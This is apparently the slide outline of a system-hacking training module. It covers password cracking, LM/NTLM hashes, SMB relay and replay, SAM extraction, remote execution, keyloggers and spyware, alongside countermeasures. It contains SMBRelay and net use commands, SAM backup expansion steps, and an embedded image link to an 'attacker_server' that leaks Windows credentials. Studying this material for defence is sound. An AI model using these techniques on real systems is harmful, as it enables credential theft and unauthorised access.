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Module 8 System Hacking
- 1. MODULE 8 SYSTEM HACKING
- 2. Objective Password cracking Password attacks Identifying various password cracking tools Formulating countermeasures for password cracking Escalating privileges Executing applications Keyloggers and Spywares Spywares and keyloggers countermeasures Hiding files Understanding rootkits The use of Steganography Covering tracks
- 3. Module Flow
- 4. SYSTEM HACKING CRACKING PASSWORDS
- 7. Types of Password Attacks
- 8. Passive Online Attack: Wire Sniffing
- 9. Passive Online Attack: Man-in-the- Middle and Replay Attacks Somehow get access to the communicationschannel Wait until the authentication sequence Proxy authentication-traffic No need to brute force
- 10. Active Online Attack: Password Guessing
- 11. Offline Attacks Offline attacks are time consuming LM Hashes are much more vulnerable due to smaller key space and shorter length Web services are available Distributed password cracking techniques are available Mitigations: Use good passwords Remove LM Hashes Attacker has password database Password representations must be cryptographically secure Considerations: Moore’s law
- 13. Offline Attack: Brute-force Attack
- 14. Offline Attack: Pre-Computed Hashes
- 15. Syllable Attack/ Rule-based Attack/Hybrid Attack
- 17. Distributed Network Attack (cont’d)
- 18. Distributed Network Attack (cont’d)
- 24. Manual Password Cracking Algorithm
- 25. Automatic Password Cracking Algorithm
- 26. Performing Automated Password Guessing
- 28. NTLM and LM Authentication on the Wire
- 29. What is LAN Manager Hash
- 31. LM Hash
- 32. Salting
- 35. Password Sniffing Password guessing is a tough task Why not just sniff credentials off the wire as users log in to a server and then replay them to gain access? If an attacker is able to eavesdrop on NT/2000 logins, then this approach can spare lot of random guesswork
- 36. How to Sniff SMB Credentials
- 37. Sniffing Hashes Using LophtCrack
- 38. Hacking Tool: NBTDeputy NBTDeputy register a NetBIOS computer name on the network and is ready to respond to NetBT name-query requests. NBTdeputy helps to resolve IP address from NetBIOS computer name. It's similar to Proxy ARP. This tool works well with SMBRelay. For example, SMBRelay runs on a computer as ANONYMOUS-ONE and the IP address is 192.168.1.10 and NBTDeputy is also ran and 192.168.1.10 is specified. SMBRelay may connect to any XP or .NET server when the logon users access "My Network Places"
- 39. Tool: ScoopLM
- 40. Hacking Tool: SMBRelay SMBRelay is essentially a SMB server that can capture usernames and password hashes from incoming SMB traffic. It can also perform man-in-the-middle (MITM) attacks. You must disable NetBIOS over TCP/IP and block ports 139 and 445. Start the SMBRelay server and listen for SMB packets: c:\>smbrelay /e c:\>smbrelay /IL 2 /IR 2 An attacker can access the client machine by simply connecting to it via relay address using: c:\> net use * \\<capture _ip>\c$
- 41. SMB Replay Attacks Trick client computer to request a connection Request connection to the client computer and collect challenge Return challenge from client computer as own challenge Wait for response from client computer Return response as own response Best way of fighting SMB replay attack is by enabling SMB signing in security policy
- 44. Redirecting SMB Logon to the Attacker Eavesdropping on LM responses becomes much easier if the attacker can trick the victim to attempt Windows authentication of the attacker's choice The basic trick is to send an email message to the victim with an embedded hyperlink to a fraudulent SMB server When the hyperlink is clicked, the user unwittingly sends his credentials over the network img src=file://attacker_server/null.gif height=1 width=1 .
- 45. Replay Attack Tool: SMBProxy A “Passing the Hash” tool that works as a proxy You can authenticate to a Windows NT4/2000 server by knowing only the md4 hash You can mount shares and access the registry and anything a particular user can do with his privileges It does not work with syskey enabled systems
- 47. Tool: LCP Main purpose of the LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003 Features: Account information imports: Import from local computer Import from remote computer Import from SAM file Import from .LC file Import from .LCS file Import from PwDump file Import from Sniff file Passwords recovery: Dictionary attack Hybrid of dictionary and brute force attacks Brute force attack
- 48. LCP: Screenshot
- 49. Tool: Crack
- 50. Tool: Access PassView Access PassView tool reveals the database password of every passwordprotected mdb file that was created with Microsoft Access 95/97/2000/XP It can be useful if you have forgotten the Access Database password and you want to recover it There are two ways of getting the password of the mdb file: Drag & Drop Command-line Limitations: In Access 2000/XP files, this utility cannot recover passwords that contain morethan 18 characters This utility shows only the main database password. It cannot recover the user-level passwords
- 52. Password Recovery Tool: MS Access Database Password Decoder The ‘MS Access Database Password Decoder’ utility was designed to decrypt the master password stored in a Microsoft Access database
- 53. Tool: Asterisk Logger Asterisk Logger reveals passwords that are stored behind the asterisks Features: Displays additional information about the revealed password such as the date/time on which password was revealed, the name of the application that contains the revealed password box, and the executable file of the application Allows you to save the passwords to HTML file
- 54. Tool: Asterisk Key Asterisk Key shows passwords hidden under asterisks Features: Uncovers hidden passwords on password dialog boxes and web pages State-of-the-art password recovery engine: All passwords are recovered instantly Supports multilingual passwords Full install/uninstall support
- 56. Password Cracking Countermeasures Enforce 8-12 character alphanumeric passwords Set the password change policy to 30 days Physically isolate and protect the server Use SYSKEY utility to store hashes on disk Monitor the server logs for brute force attacks on user accounts
- 57. Do Not Store LAN Manager Hash in SAM Database Instead of storing your user account password in cleartext, Windows generates and stores user account passwords by using two different password "hashes" When you set or change the password for a user account to a password that contains fewer than 15 characters, Windows generate both LAN Manager hash (LM hash) and Windows NT hash (NT hash) of the password These hashes are stored in the local Security Accounts Manager (SAM) database or in Active Directory The LM hash is relatively weak compared to the NT hash and so it is prone to fast brute-force attack. Therefore, you may want to prevent Windows from storing an LM hash of your password
- 58. LM Hash Backward Compatibility Windows 2000-based servers and Windows Server 2003-based servers can authenticate users who connect with computers that are running the earlier versions of Windows Windows 95/98 clients do not use Kerberos for authentication For backward compatibility, Windows 2000 and Windows Server 2003 support: LAN Manager (LM) authentication Windows NT (NTLM) authentication NTLM version 2 (NTLMv2) authentication
- 59. LM Hash Backward Compatibility The NTLM, NTLMv2, and Kerberos all use the NT hash, also known as the Unicode hash The LM authentication protocol uses the “LM hash” It is best to prevent storage of the LM hash if you do not need it for backward compatibility. If your network contains Windows 95, Windows 98, or Macintosh clients, you may experience the following problems if you prevent the storage of LM hashes
- 60. How to Disable LM HASH
- 61. SYSTEM HACKING Escalating Privileges
- 63. Cracking NT/2000 Passwords SAM file in Windows NT/2000 contains the user names and encrypted passwords. The SAM file is located at %systemroot%\system32\config directory The file is locked when the OS is running Booting to an alternate OS NTFSDOS (www.sysInternals.com) will mount any NTFS partition as a logical drive Backup SAM from the Repair directory Whenever rdisk /s is run, a compressed copy of the SAM called SAM._ is created in %systemroot%\repair Expand this file using c:\>expand sam._sam Extract the hashes from the SAM Use LOphtcrack to hash the passwords
- 65. Active@ Password Changer: Screenshots 1
- 66. Active@ Password Changer: Screenshots 2
- 67. Active@ Password Changer: Screenshots 3
- 68. Privilege Escalation Tool: x.exe This tool, when executed on remote systems, creates a user called “X” with a password of “X” and adds the user to the administrator’s group
- 69. SYSTEM HACKING Executing Applications
- 70. Tool: psexec Lets you execute processes on other systems remotely Launches interactive command prompts on remote systems
- 71. Tool: remoexec
- 72. Tool: Alchemy Remote Executor
- 73. Emsa FlexInfo Pro Emsa FlexInfo Pro is a system information and diagnostics tool that allows you to access a system details and settings It includes a real-time CPU and memory graph, as well as CPU speed test and memory test tools It includes several useful networking utilities (Bandwidth Monitor, Ping, Whois etc.) as well as an atomic time synchronizer, a browser popup blocker, and a basic keylogger
- 74. Emsa FlexInfo Pro: Screenshot
- 75. Keystroke Loggers If all other attempts to sniff out domain privileges fail, then a keystroke logger is the solution Keystroke loggers are stealth software packages that are placed between keyboard hardware and the operating system, so that they can record every keystroke There are two types of keystroke loggers Software-based Hardware-based
- 76. Revealer Keylogger Revealer Keylogger tool records keyboard inputs Revealer Keylogger's powerful log engine logs any language on any keyboard and perfectly handles dead-keys Features: Powerful log engine Full invisible mode Password protection Send log files via e-mail
- 78. Hacking Tool: Hardware Key Logger The Hardware Key Logger is a tiny hardware device that can be attached in between a keyboard and a computer. It keeps a record of all key strokes typed on the keyboard. The recording process is totally transparent to the end user.
- 80. What is Spyware? Spyware is a program that records computer activities on a machine Records keystrokes Records email messages Records IM chat sessions Records websites visited Records applications opened Captures screenshots
- 81. Spyware: Spector Spector is spyware that records everything that one does on the Internet Spector automatically takes hundreds of snapshots every hour, like a surveillance camera Spector works by taking a snapshot of whatever is on the computer screen and saves it away in a hidden location on the system’s hard drive
- 82. Keylogger Countermeasures Install Antivirus software and keep the signatures up to date Install a Host-based IDS such as Cisco CSA agent which can monitor your system and disable the installation of keyloggers Keep your hardware systems secure in a locked environment Frequently check the keyboard cables for attached connectors
- 83. Anti-Keylogger This tool can detect keylogger installations and remove them